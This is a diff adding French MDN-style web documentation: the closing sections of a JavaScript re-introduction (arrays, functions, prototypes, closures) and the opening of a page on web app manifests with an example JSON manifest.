+<p>Les tableaux (<em>Arrays</em>) en JavaScript sont en fait un type spécial d'objets. Ils fonctionnent d'une façon tout à fait similaire aux objets normaux (on peut naturellement accéder aux propriétés numériques avec la syntaxe des crochets <code>[]</code>), mais ils ont également une propriété magique appelée <code>length</code>. Elle vaut toujours un de plus que le plus grand indice dans le tableau.</p>
+
+<p>L'ancienne manière de créer des tableaux est celle-ci :</p>
+
+<pre class="brush: js notranslate">var a = new Array();
+a[0] = "chien";
+a[1] = "chat";
+a[2] = "poule";
+a.length; // 3
+</pre>
+
+<p>Une notation plus pratique est la syntaxe littérale :</p>
+
+<pre class="brush: js notranslate">var a = ["chien", "chat", "poule"];
+a.length; // 3
+</pre>
+
+<div class="warning">
+<p>Laisser une virgule à la fin de la syntaxe littérale produit des résultats incohérents entre les différents navigateurs, bien qu'il soit spécifié que la dernière virgule doit être ignorée et que les éventuelles virgules précédentes définissent des éléments <code>undefined</code>. Il n'est pas recommandé de laisser des virgules en fin de notation littérale.</p>
+</div>
+
+<p>Notez que <code>array.length</code> ne correspond pas nécessairement au nombre d'éléments dans le tableau. Observez le code suivant :</p>
+
+<pre class="brush: js notranslate">var a = ["chien", "chat", "poule"];
+a[100] = "renard";
+a.length // 101
+</pre>
+
+<p>Rappelez-vous : la longueur du tableau vaut simplement un de plus que l'indice le plus élevé.</p>
+
+<p>Si vous interrogez un élément de tableau non existant, vous obtenez <code>undefined</code> :</p>
+
+<pre class="brush: js notranslate">typeof(a[90]); // undefined
+</pre>
+
+<p>Si vous prenez cela en compte, il est possible de parcourir un tableau à l'aide de la boucle suivante :</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; a.length; i++) {
+  // Faire quelque chose avec a[i]
+}
+</pre>
+
+<p>Ce n'est pas la solution la plus performante, parce que l'on examine la propriété <code>length</code> à chaque tour de boucle. Une version améliorée est :</p>
+
+<pre class="brush: js notranslate">for (var i = 0, len = a.length; i &lt; len; i++) {
+  // Faire quelque chose avec a[i]
+}
+</pre>
+
+<p>Mais il est possible d'exprimer cela encore mieux :</p>
+
+<pre class="brush: js notranslate">for (var i = 0, item; item = a[i]; i++) {
+  // Faire quelque chose avec item
+}
+</pre>
+
+<p>Ici on définit deux variables. La véracité de l'affectation dans la partie médiane de la boucle <code>for</code> est également vérifiée — si elle est vraie, la boucle continue. Étant donné que <code>i</code> est incrémentée à chaque fois, les éléments du tableau seront affectés à la variable <code>item</code> dans un ordre séquentiel. La boucle s'arrête lorsque la vérification d'un élément renvoie faux (comme c'est le cas d'une valeur <code>undefined</code>).</p>
+
+<p>Notez que cette astuce ne peut être utilisée que pour des tableaux qui ne comprennent pas d'autres valeurs qui pourraient renvoyer une valeur fausse (des tableaux d'objets ou de nœuds <a href="/fr/docs/Référence_du_DOM_Gecko">DOM</a> par exemple). Si vous parcourez des données numériques parmi lesquelles pourrait se trouver un zéro, des chaînes dont l'une pourrait être vide ou un tableau non continu, vous devrez utiliser la variante avec <code>i, len</code>.</p>
+
+<p>Une autre manière de parcourir un tableau est d'utiliser une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code>. Notez que si quelqu'un ajoutait d'autres propriétés à <code>Array.prototype</code>, elles seraient également parcourues par cette boucle et c'est pour cette raison que cette méthode est déconseillée :</p>
+
+<pre class="brush: js notranslate">for (var i in a) {
+  // faire quelque chose avec a[i]
+}
+</pre>
+
+<p>En revanche avec la boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a></code>, apparue avec ECMAScript 2015, on ne parcourt que les éléments du tableau (ou de tout autre itérable) :</p>
+
+<pre class="brush: js notranslate">for (let elem of a){
+  // faire quelque chose avec elem
+}</pre>
+
+<p>Avec ECMAScript 5, on peut également parcourir un tableau avec la méthode <code>forEach()</code> :</p>
+
+<pre class="brush: js notranslate">["chien", "chat", "poule"].forEach(function(valeurCourante, index, array) {
+  // Faire quelque chose avec valeurCourante et array[index]
+});</pre>
+
+<p>Si vous désirez ajouter un élément à un tableau, la manière la plus sûre est de faire ceci :</p>
+
+<pre class="eval notranslate">a.push(element);
+</pre>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Nom de la méthode</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>a.toString()</code></td>
+   <td>Renvoie une chaîne composée des différents éléments auxquels on a appliqué <code>toString()</code>, séparés par des virgules.</td>
+  </tr>
+  <tr>
+   <td><code>a.toLocaleString()</code></td>
+   <td>Renvoie une chaîne composée des différents éléments auxquels on a appliqué <code>toLocaleString()</code>, séparés par des virgules.</td>
+  </tr>
+  <tr>
+   <td><code>a.concat(item1[, item2[, ...[, itemN]]])</code></td>
+   <td>Renvoie un nouveau tableau auquel on a ajouté les éléments.</td>
+  </tr>
+  <tr>
+   <td><code>a.join(sep)</code></td>
+   <td>Convertit le tableau en une chaîne dont les valeurs sont séparées par le paramètre <code>sep</code>.</td>
+  </tr>
+  <tr>
+   <td><code>a.pop()</code></td>
+   <td>Renvoie le dernier élément du tableau et le retire du tableau.</td>
+  </tr>
+  <tr>
+   <td><code>a.push(item1, ..., itemN)</code></td>
+   <td>Ajoute un ou plusieurs éléments à la fin du tableau.</td>
+  </tr>
+  <tr>
+   <td><code>a.reverse()</code></td>
+   <td>Retourne le tableau.</td>
+  </tr>
+  <tr>
+   <td><code>a.shift()</code></td>
+   <td>Renvoie le premier élément du tableau et le retire du tableau.</td>
+  </tr>
+  <tr>
+   <td><code>a.slice(début[, fin])</code></td>
+   <td>Renvoie un sous-tableau.</td>
+  </tr>
+  <tr>
+   <td><code>a.sort([cmpfn])</code></td>
+   <td>Trie le tableau (avec une fonction de comparaison optionnelle).</td>
+  </tr>
+  <tr>
+   <td><code>a.splice(début, delcount[, item1[, ...[, itemN]]])</code></td>
+   <td>Permet de modifier un tableau en en supprimant une partie et en la remplaçant avec plus d'éléments.</td>
+  </tr>
+  <tr>
+   <td><code>a.unshift(item1[, item2[, ...[, itemN]]])</code></td>
+   <td>Ajoute des éléments au début du tableau.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Les_fonctions">Les fonctions</h2>
+
+<p>Avec les objets, les fonctions sont les composants de base d'une bonne compréhension de JavaScript. La fonction la plus basique n'a rien de compliqué :</p>
+
+<pre class="brush: js notranslate">function ajoute(x, y) {
+  var total = x + y;
+  return total;
+}
+</pre>
+
+<p>Ceci représente tout ce qu'il y a à savoir à propos des fonctions basiques. Une fonction JavaScript peut recevoir 0 paramètre nommé ou plus. Son corps peut contenir autant d'instructions que vous le voulez et permet de déclarer des variables qui sont locales à la fonction. L'instruction <code>return</code> peut être utilisée pour renvoyer une valeur à tout moment, mettant ainsi fin à la fonction. Si aucune instruction <code>return</code> n'est utilisée (ou que l'instruction <code>return</code> n'est suivie d'aucune valeur), JavaScript renvoie <code>undefined</code>.</p>
+
+<p>On se rendra compte que les paramètres sont plus des indications qu'autre chose. Il est en effet possible d'appeler une fonction sans lui fournir les paramètres qu'elle attend, auquel cas ils vaudront <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">ajoute(); // NaN - Il n'est pas possible d'additionner des variables indéfinies
+</pre>
+
+<p>Il est également possible de fournir plus de paramètres que demandé par la fonction :</p>
+
+<pre class="brush: js notranslate">ajoute(2, 3, 4); // 5
+// les deux premiers sont additionnés ; 4 est ignoré
+</pre>
+
+<p>Par définition les fonctions ont accès à des variables supplémentaires à l'intérieur de leur corps, appelée <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments"><code>arguments</code></a>. Ce sont des objets semblables à un tableau qui conservent toutes les valeurs reçues par la fonction. Réécrivons la fonction <code>ajoute</code> pour recevoir autant de valeurs qu'on veut :</p>
+
+<pre class="brush: js notranslate">function ajoute() {
+  var somme = 0;
+  for (var i = 0, j = arguments.length; i &lt; j; i++) {
+    somme += arguments[i];
+  }
+  return somme;
+}
+
+ajoute(2, 3, 4, 5); // 14
+</pre>
+
+<p>Ce n'est cependant pas vraiment plus utile que d'écrire <code>2 + 3 + 4 + 5</code>. Écrivons plutôt une fonction de calcul de moyenne :</p>
+
+<pre class="brush: js notranslate">function moyenne() {
+  var somme = 0;
+  for (var i = 0, j = arguments.length; i &lt; j; i++) {
+    somme += arguments[i];
+  }
+  return somme / arguments.length;
+}
+moyenne(2, 3, 4, 5); // 3.5
+</pre>
+
+<p>Avec la décomposition des arguments (ES2015/ES6) (cf. <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/param%C3%A8tres_du_reste">les paramètres du reste</a>) et <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code>, on pourrait écrire une version équivalente :</p>
+
+<pre class="brush: js notranslate">function moyenne(...args) {
+  var somme = 0;
+  for (let valeur of args) {
+    somme += valeur;
+  }
+  return somme / args.length;
+}
+moyenne(2, 3, 4, 5); // 3.5</pre>
+
+<div class="note">
+<p><strong>Note :<code> </code></strong>Avec les paramètres du reste, dans l'exemple précédent, <code>args</code> contient tous les arguments passés à la fonction. Si on avait utilisé <code>fonction moyenne(premiereValeur, ...args)</code>, <code>args</code> aurait alors contenu toutes les valeurs mais pas le premier argument.</p>
+</div>
+
+<p>C'est très pratique, mais on rencontre un nouveau problème. La fonction <code>moyenne()</code> reçoit une liste de valeurs séparées par des virgules, mais comment fait-on si on souhaite trouver la moyenne des valeurs d'un tableau ?</p>
+
+<p>On pourrait simplement récrire la fonction comme ceci :</p>
+
+<pre class="brush: js notranslate">function moyenneTableau(arr) {
+  var somme = 0;
+  for (var i = 0, j = arr.length; i &lt; j; i++) {
+    somme += arr[i];
+  }
+  return somme / arr.length;
+}
+moyenneTableau([2, 3, 4, 5]); // 3.5
+</pre>
+
+<p>Mais ce serait bien si on pouvait réutiliser la fonction qu'on avait déjà créée. Par chance, JavaScript permet d'appeler une fonction et de lui donner un tableau de paramètres d'une longueur arbitraire, à l'aide de la méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/apply"><code>apply()</code></a> de tout objet <code>Function</code>.</p>
+
+<pre class="brush: js notranslate">moyenne.apply(null, [2, 3, 4, 5]); // 3.5
+</pre>
+
+<p>Le second paramètre envoyé à <code>apply()</code> est le tableau à utiliser comme paramètre ; nous parlerons du premier plus tard. Cela permet de souligner le fait que les fonctions sont aussi des objets.</p>
+
+<div class="note">
+<p><strong>Note :</strong> On peut également utiliser <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateur_de_d%C3%A9composition">l'opérateur de décomposition</a> pour l'appel et la définition de la fonction pour écrire, par exemple, <code>moyenne(...nombres)</code>.</p>
+</div>
+
+<p>JavaScript permet également de créer des fonctions anonymes.</p>
+
+<pre class="brush: js notranslate">var moyenne = function() {
+  var somme = 0;
+  for (var i = 0, j = arguments.length; i &lt; j; i++) {
+    somme += arguments[i];
+  }
+  return somme / arguments.length;
+}
+</pre>
+
+<p>Ceci est sémantiquement équivalent à la forme <code>function moyenne()</code> vue plus haut. C'est extrêmement puissant, car cela permet de mettre une définition de fonction n'importe où, là où on mettrait normalement une expression. C'est la porte ouverte à toutes sortes d'astuces brillantes. Voici par exemple une manière de « cacher » certaines variables locales, comme la visibilité par blocs du langage C :</p>
+
+<pre class="brush: js notranslate">var a = 1;
+var b = 2;
+
+(function() {
+    var b = 3;
+    a += b;
+})();
+
+a; // 4
+b; // 2
+</pre>
+
+<p>JavaScript permet d'appeler des fonctions récursivement. C'est particulièrement utile lorsqu'on a affaire à des structures en arbre, comme c'est le cas dans le DOM du navigateur.</p>
+
+<pre class="brush: js notranslate">function countChars(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += countChars(child);
+  }
+  return count;
+}
+</pre>
+
+<p>Cela permet de mettre le doigt sur un problème potentiel des fonctions anonymes : comment les appelle-t-on récursivement si elles n'ont pas de nom ? La réponse se trouve une nouvelle fois dans l'objet <code>arguments</code>, qui, non content d'être une liste des paramètres, fournit également une propriété appelée <code>arguments.callee</code>. Celle-ci se réfère toujours à la fonction courante et peut donc être utilisée pour des appels récursifs :</p>
+
+<pre class="brush: js notranslate">var charsInBody = (function counter(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += counter(child);
+  }
+  return count;
+})(document.body);</pre>
+
+<p>La forme utilisée dans l'exemple qui précède est <a href="/fr/docs/Glossaire/IIFE">une fonction invoquée immédiatement</a>. On déclare une fonction qu'on appelle directement. Le nom <code>counter</code> n'est alors accessible qu'au sein de la portée.</p>
+
+<p>Le nom fourni à l'expression de la fonction n'est disponible qu'au sein de la portée de la fonction. Cela permet au moteur JavaScript de faire des optimisations. Cela rend également le code plus lisible. Le nom apparaîtra également dans le débogueur et les piles d'appel, ce qui permettra de gagner du temps.</p>
+
+<p>En JavaScript, les fonctions sont également des objets. Il est donc possible de leur ajouter ou de modifier leurs propriétés.</p>
+
+<h2 id="Les_objets_personnalisés">Les objets personnalisés</h2>
+
+<div class="note">
+<p><strong>Note :</strong> Pour une approche plus détaillée de la programmation orientée objet en JavaScript, voir l'<a href="/fr/docs/Web/JavaScript/Introduction_à_JavaScript_orienté_objet">Introduction à JavaScript orienté objet</a>.</p>
+</div>
+
+<p>Dans la programmation orientée objet classique, les objets sont des collections de données et de méthodes opérant sur ces données. Imaginons un objet personne avec les champs prénom et nom. Il y a deux manières d'afficher son nom complet : de la façon « prénom nom » ou de la façon « nom prénom ». À l'aide des fonctions et des objets vus précédemment, voici une manière de le faire :</p>
+
+<pre class="bad-example brush: js notranslate">function creerPersonne(prenom, nom) {
+  return {
+    prenom: prenom,
+    nom: nom
+  }
+}
+
+function personneNomComplet(personne) {
+  return personne.prenom + ' ' + personne.nom;
+}
+
+function personneNomCompletInverse(personne) {
+  return personne.nom + ' ' + personne.prenom;
+}
+
+var s = creerPersonne("Simon", "Willison");
+personneNomComplet(s); // Simon Willison
+
+personneNomCompletInverse(s); // Willison Simon</pre>
+
+<p>Ça fonctionne, mais c'est inutilement verbeux. On va se retrouver avec des dizaines de fonctions dans l'espace de noms global. Ce dont on aurait vraiment besoin, c'est d'une manière d'attacher une fonction à un objet. Comme les fonctions sont des objets, c'est facile :</p>
+
+<pre class="brush: js notranslate">function creerPersonne(prenom, nom) {
+  return {
+    prenom: prenom,
+    nom: nom,
+    nomComplet: function() {
+      return this.prenom + ' ' + this.nom;
+    },
+    nomCompletInverse: function() {
+      return this.nom + ' ' + this.prenom;
+    }
+  }
+}
+
+var s = creerPersonne("Simon", "Willison")
+s.nomComplet(); // Simon Willison
+s.nomCompletInverse(); // Willison Simon</pre>
+
+<p>Il y a quelque chose que nous n'avons pas vu jusqu'à présent : le mot-clé <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">this</a></code>. Utilisé au sein d'une fonction, <code>this</code> fait référence à l'objet courant. Sa signification dépend de la façon dont la fonction a été appelée. Si elle a été appelée avec <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">la notation utilisant le point ou les crochets</a> sur un objet, cet objet devient <code>this</code>. Si cette notation n'a pas été utilisée pour l'appel, <code>this</code> fera référence à l'objet global. C'est une source fréquente d'erreurs. Par exemple :</p>
+
+<pre class="brush: js notranslate">var s = creerPersonne("Simon", "Willison");
+var nomComplet = s.nomComplet;
+nomComplet(); // undefined undefined
+</pre>
+
+<p>Lorsqu'on appelle <code>nomComplet()</code>, <code>this</code> est lié à l'objet global. Comme il n'y a pas de variables globales appelées <code>prenom</code> ou <code>nom</code>, on se retrouve avec <code>undefined</code> pour chacune.</p>
+
+<p>On peut se servir du mot clé <code>this</code> pour améliorer notre fonction <code>créerPersonne</code> :</p>
+
+<pre class="brush: js notranslate">function Personne(prenom, nom) {
+  this.prenom = prenom;
+  this.nom = nom;
+  this.nomComplet = function() {
+    return this.prenom + ' ' + this.nom;
+  }
+  this.nomCompletInverse = function() {
+    return this.nom + ' ' + this.prenom;
+  }
+}
+var s = new Personne("Simon", "Willison");
+</pre>
+
+<p>Nous avons utilisé un nouveau mot clé : <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new">new</a></code>. <code>new</code> est très lié à <code>this</code>. Il crée un nouvel objet vide et appelle ensuite la fonction spécifiée, avec <code>this</code> pointant vers ce nouvel objet. Les fonctions prévues pour être appelées par <code>new</code> sont appelées des constructeurs. L'usage courant est de mettre la première lettre de ces fonctions en majuscule pour se souvenir de les appeler avec <code>new</code>.</p>
+
+<p>Nos objets <code>Personne</code> s'améliorent, mais il leur reste certaines aspérités pas très esthétiques. Chaque fois que l'on crée une personne, on crée deux nouveaux objets de fonctions en même temps. Ne serait-ce pas mieux si ce code était partagé ?</p>
+
+<pre class="brush: js notranslate">function personneNomComplet() {
+  return this.prenom + ' ' + this.nom;
+}
+
+function personneNomCompletInverse() {
+  return this.nom + ' ' + this.prenom;
+}
+
+function Personne(prenom, nom) {
+  this.prenom = prenom;
+  this.nom = nom;
+  this.nomComplet = personneNomComplet;
+  this.nomCompletInverse = personneNomCompletInverse;
+}
+</pre>
+
+<p>C'est mieux : on crée les fonctions une seule fois, et on leur assigne des références au sein du constructeur. Est-il possible de faire encore mieux que ça ? La réponse est oui :</p>
+
+<pre class="brush: js notranslate">function Personne(prenom, nom) {
+  this.prenom = prenom;
+  this.nom = nom;
+}
+
+Personne.prototype.nomComplet = function() {
+  return this.prenom + ' ' + this.nom;
+}
+
+Personne.prototype.nomCompletInverse = function nomCompletInverse() {
+  return this.nom + ' ' + this.prenom;
+}
+</pre>
+
+<p><code>Personne.prototype</code> est un objet partagé par toutes les instances de <code>Personne</code>. Il fait partie d'une chaîne de résolution (qui a un nom spécial, la « chaîne de prototypes ») : chaque fois que vous essayez d'accéder à une propriété de <code>Personne</code> qui n'est pas définie, JavaScript va vérifier <code>Personne.prototype</code> pour voir si cette propriété n'existe pas plutôt à cet endroit. Par conséquent, tout ce qui est assigné à <code>Personne.prototype</code> devient disponible à toutes les instances de ce constructeur via l'objet <code>this</code>.</p>
+
+<p>C'est un outil incroyablement puissant. JavaScript vous permet de modifier le prototype de quelque chose à tout moment dans votre programme, cela signifie qu'il est possible d'ajouter des méthodes supplémentaires à des objets existants lors de l'exécution :</p>
+
+<pre class="brush: js notranslate">var s = new Personne("Simon", "Willison");
+s.prenomEnMajuscules(); // TypeError on line 1: s.prenomEnMajuscules is not a function
+
+Personne.prototype.prenomEnMajuscules = function prenomEnMajuscules() {
+  return this.prenom.toUpperCase()
+}
+s.prenomEnMajuscules(); // "SIMON"
+</pre>
+
+<p>Il est également possible d'ajouter des choses aux prototypes de classes d'objets JavaScript prédéfinies. Ajoutons par exemple une méthode à <code>String</code> qui renvoie cette chaîne à l'envers :</p>
+
+<pre class="brush: js notranslate">var s = "Simon";
+s.inverse(); // TypeError on line 1: s.inverse is not a function
+
+String.prototype.inverse = function inverse() {
+  var r = "";
+  for (var i = this.length - 1; i &gt;= 0; i--) {
+    r += this[i];
+  }
+  return r;
+}
+s.inverse(); // "nomiS"
+</pre>
+
+<p>Notre nouvelle méthode fonctionne même sur les chaînes littérales !</p>
+
+<pre class="brush: js notranslate">"Ceci peut maintenant être inversé.".inverse() // ".ésrevni ertê tnanetniam tuep iceC"
+</pre>
+
+<p>Comme mentionné précédemment, le prototype fait partie d'une chaîne de prototypes. Le début de cette chaîne est <code>Object.prototype</code>, dont <code>toString()</code> fait partie des méthodes. C'est cette méthode qui est appelée quand vous essayez de représenter un objet sous la forme d'une chaîne. Elle sera utile pour déboguer nos objets <code>Personne</code> :</p>
+
+<pre class="brush: js notranslate">var s = new Personne("Simon", "Willison");
+s; // [object Object]
+
+Personne.prototype.toString = function() {
+  return '&lt;Personne : ' + this.nomComplet() + '&gt;';
+}
+s.toString(); // "&lt;Personne : Simon Willison&gt;"
+</pre>
+
+<p>Vous vous souvenez de la fonction <code>moyenne.apply()</code> qui avait un premier paramètre défini à <code>null</code> ? Nous pouvons en reparler à présent. Le premier paramètre d'<code>apply()</code> est l'objet qui doit être traité comme <code>this</code>. Par exemple, voici une implémentation de <code>new</code> :</p>
+
+<pre class="brush: js notranslate">function trivialNew(constructor, ...args) {
+  var o = {}; // Crée un objet
+  constructor.apply(o, ...args);
+  return o;
+}
+</pre>
+
+<p>Ce n'est pas une réplique exacte de <code>new</code> parce qu'elle n'initialise pas la chaîne de prototype. La méthode <code>apply()</code> est difficile à illustrer, ce n'est pas quelque chose qu'on utilise très souvent, mais c'est utile de savoir qu'elle existe. Dans ce fragment de code, on utilise les <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/param%C3%A8tres_du_reste">arguments restants</a>, représentés par <code>...args</code>. Comme son nom l'indique, cela représente le reste des arguments passés à la fonction. À l'heure actuelle, cette fonctionnalité n'est disponible que sous Firefox, il est donc conseillé d'utiliser <code>arguments</code>.</p>
+
+<p>Appeler</p>
+
+<pre class="brush: js notranslate">var bill = trivialNew(Personne, ["William", "Orange"]);</pre>
+
+<p>est donc quasiment équivalent à :</p>
+
+<pre class="brush: js notranslate">var bill = new Personne("William", "Orange");</pre>
+
+<p><code>apply()</code> possède une fonction proche, appelée <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/call"><code>call</code></a>, qui permet de définir la valeur de <code>this</code> mais qui prend une liste d'arguments plutôt qu'un tableau.</p>
+
+<pre class="brush: js notranslate">function nomMajuscule() {
+  return this.nom.toUpperCase();
+}
+var s = new Personne("Simon", "Willison");
+nomMajuscule.call(s); // correspond à:
+s.nomMajuscule = nomMajuscule;
+s.nomMajuscule();</pre>
+
+<h2 id="Les_fonctions_internes">Les fonctions internes</h2>
+
+<p>Comme nous l'avons déjà vu, les déclarations de fonctions JavaScript peuvent se trouver à l'intérieur d'autres fonctions. Un détail important des fonctions définies à l'intérieur d'autres fonctions est qu'elles peuvent accéder à des variables de leur fonction parente :</p>
+
+<pre class="brush: js notranslate">function parentFunc() {
+  var a = 1;
+  function fonctionImbriquee() {
+    var b = 4; // Inacessible depuis parentFunc()
+    return a + b;
+  }
+  return fonctionImbriquee(); // 5
+}
+</pre>
+
+<p>Cela peut s'avérer très utile dans l'écriture de code plus facilement maintenable. Si une fonction A dépend d'une ou deux autres fonctions B et C qui ne sont utiles à aucun autre endroit de votre code, on peut imbriquer ces fonctions utilitaires B et C à l'intérieure de la fonction A. Cela diminue le nombre de fonctions se trouvant dans la portée globale, ce qui est toujours une bonne chose.</p>
+
+<p>C'est également un bon moyen de se préserver de l'attrait trompeur des variables globales. Lorsqu'on écrit du code complexe, il est souvent tentant d'utiliser des variables globales pour partager des valeurs entre différentes fonctions, ce qui mène à du code difficile à maintenir. Les fonctions internes peuvent partager des variables avec leur parent, de sorte que vous pouvez utiliser ce mécanisme pour coupler des fonctions ensemble lorsque cela a un sens, sans pour autant polluer l'espace de noms global. Ce sont ainsi des « globales locales ». Cette technique doit être utilisée parcimonieusement, mais il est utile de s'en souvenir.</p>
+
+<h2 id="Les_fermetures_Closures">Les fermetures (<em>Closures</em>)</h2>
+
+<p>Cela nous amène à l'une des abstractions les plus spectaculaires que JavaScript a à nous offrir. C'est également un des concepts les plus déroutants. Que fait ce fragment de code ?</p>
+
+<pre class="brush: js notranslate">function creerAdditionneur(a) {
+  return function(b) {
+    return a + b;
+  }
+}
+var ajoute5 = creerAdditionneur(5);
+var ajoute20 = creerAdditionneur(20);
+ajoute5(6); // ?
+ajoute20(7); // ?
+</pre>
+
+<p>Le nom de la fonction <code>creerAdditionneur</code> devrait vous donner un indice : elle crée de nouveaux additionneurs sous forme de fonctions qui, quand elles sont appelées avec un paramètre, l'ajoutent à celui avec lequel elles ont été créées.</p>
+
+<p>Ce qui se passe ici est sensiblement la même chose qu'avec les fonctions internes dont nous avons parlé précédemment : une fonction définie à l'intérieur d'une autre fonction a accès aux variables de sa fonction extérieure. La seule différence ici est que la fonction extérieure a déjà renvoyé son résultat, et le bon sens semblerait vouloir être que ses variables locales n'existent plus. Mai<em>s</em> elles existent <em>encore</em> ; autrement les additionneurs présentés ci-dessus ne fonctionneraient pas. Ce n'est pas tout, il y a même deux « copies » différentes des variables locales de <code>creerAdditionneur</code> : une dans laquelle <code>a</code> vaut 5 et une autre dans laquelle <code>a</code> vaut 20. Quel est donc le résultat de ces appels de fonction ?</p>
+
+<pre class="brush: js notranslate">ajoute5(6); // renvoie 11
+ajoute20(7); // renvoie 27
+</pre>
+
+<p>Voici ce qui se passe en réalité. Lorsque JavaScript exécute une fonction, un objet de portée est créé pour conserver les variables locales créées au sein de cette fonction. Il est initialisé avec les variables passées en paramètres à la fonction. Cela ressemble à l'objet global dans lequel toutes les variables et fonctions globales se trouvent, mais avec quelques différences importantes : premièrement, un nouvel objet de portée est créé chaque fois qu'une fonction commence à s'exécuter, et deuxièmement, contrairement à l'objet global (qui, dans le navigateur, correspond à l'objet <code>window</code>), on ne peut pas directement accéder à ces objets de portée depuis le code JavaScript. Il n'existe pas de mécanisme permettant de parcourir les propriétés de l'objet de la portée courante par exemple.</p>
+
+<p>Donc, quand <code>creerAdditionneur</code> est appelée, une portée est créée avec une propriété : <code>a</code>, qui est le paramètre passé à la fonction <code>creerAdditionneur</code>. Celle-ci renvoie alors une fonction nouvellement créée. Normalement, le ramasse-miettes de JavaScript devrait supprimer l'objet de visibilité créé pour <code>creerAdditionneur</code> à ce moment, mais la fonction renvoyée garde une référence vers cet objet de visibilité. Par conséquent, il ne sera pas supprimé par le ramasse-miettes tant qu'il y a toujours des références à l'objet de type <code>function</code> que <code>creerAdditionneur</code> a renvoyé.</p>
+
+<p>Certains objets de portée forment une chaîne appelée la chaîne de portées, semblable à la chaîne de prototypes utilisée par le système objet de JavaScript.</p>
+
+<p>Ce qu'on appelle une <strong>fermeture</strong> est la combinaison d'une fonction et de l'objet de portée dans lequel elle a été créée.</p>
+
+<p>Les fermetures permettent des enregistrements d'état et, en tant que telles, peuvent souvent être utilisées à la place d'objets. Vous pourrez trouver plus d'informations sur les fermetures dans <a href="/fr/docs/Web/JavaScript/Guide/Closures">cet article</a>.</p>
diff --git a/files/fr/web/manifest/index.html b/files/fr/web/manifest/index.html
new file mode 100644
index 0000000000..dd344294fa
--- /dev/null
+++ b/files/fr/web/manifest/index.html
@@ -0,0 +1,429 @@
+---
+title: Manifeste des applications web
+slug: Web/Manifest
+tags:
+  - Applications
+  - Manifeste
+translation_of: Web/Manifest
+---
+<p>Le manifeste d'une application web fournit des informations concernant celle-ci (comme son nom, son auteur, une icône et une description) dans un document texte JSON. Le but du manifeste est d'installer des applications sur l'écran d'accueil d'un appareil, offrant aux utilisateurs un accès plus rapide et une expérience plus riche.</p>
+
+<p>Les manifestes font partie d'un ensemble de technologies appelées les <a href="/fr/docs/Web/Apps/Progressive">applications web progressives</a> (<em>progressive web apps</em>). Il s'agit d'applications web qui peuvent être installées sur la page d'accueil d'un appareil sans que l'utilisateur ait à se rendre dans une boutique d'applications. De plus, une fois installées, elles peuvent être utilisées sans connexion internet et sont capables de recevoir des notifications <em>push.</em></p>
+
+<h2 id="Deploying_a_manifest_with_the_link_tag" name="Deploying_a_manifest_with_the_link_tag">Déployer un manifeste</h2>
+
+<p>Les manifestes des applications Web sont déployés dans vos pages HTML en utilisant une balise lien (<em>link</em>) dans l'entête (<em>head</em>) de votre document :</p>
+
+<pre class="notranslate"><code>&lt;link rel="manifest" href="/manifest.webmanifest"&gt;</code></pre>
+
+<h2 id="Exemple_de_manifeste">Exemple de manifeste</h2>
+
+<pre class="brush: json notranslate">{
+  "name": "Google I/O 2015",
+  "short_name": "I/O 2015",
+  "start_url": "./?utm_source=web_app_manifest",
+  "display": "standalone",
+  "icons": [{
+    "src": "images/touch/homescreen48.png",
+    "sizes": "48x48",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen72.png",
+    "sizes": "72x72",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen96.png",
+    "sizes": "96x96",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen144.png",
+    "sizes": "144x144",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen168.png",
+    "sizes": "168x168",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen192.png",
+    "sizes": "192x192",
+    "type": "image/png"
+  }],
+  "related_applications": [{
+    "platform": "web"
+  }, {
+    "platform": "play",
+    "url": "https://play.google.com/store/apps/details?id=com.google.samples.apps.iosched"
+  }]
+}</pre>
+
+<h2 id="Membres">Membres</h2>
+
+<h3 id="background_color"><code>background_color</code></h3>
+
+<p>Définit la couleur de fond attendue pour l'application web. Cette valeur répète ce qui est déjà disponible dans la feuille de style de l'application, mais peut être utilisée par le navigateur pour dessiner le fond de l'application web quand le manifeste est disponible avant que la feuille de style ne soit chargée. Cela permet une transition douce pendant le lancement de l'application web et le chargement du contenu de l'application.</p>
+
+<pre class="brush: json notranslate">"background_color": "red"</pre>
+
+<div class="note">
+<p><strong>Note</strong> : Le membre Bakground_color est uniquement destiné à améliorer l'expérience de l'utilisateur alors qu'une application Web est en cours de chargement et ne doit pas être utilisé par l'agent utilisateur comme couleur d'arrière-plan lorsque la feuille de style de l'application Web est disponible</p>
+</div>
+
+<h3 id="description"><font face="Consolas">description</font></h3>
+
+<p>Fournit une description générale de ce que fait l'application web.</p>
+
+<pre class="brush: json notranslate">"description": "L'application qui vous aide à trouver la meilleure nourriture en ville !"</pre>
+
+<h3 id="dir"><font face="Consolas">dir</font></h3>
+
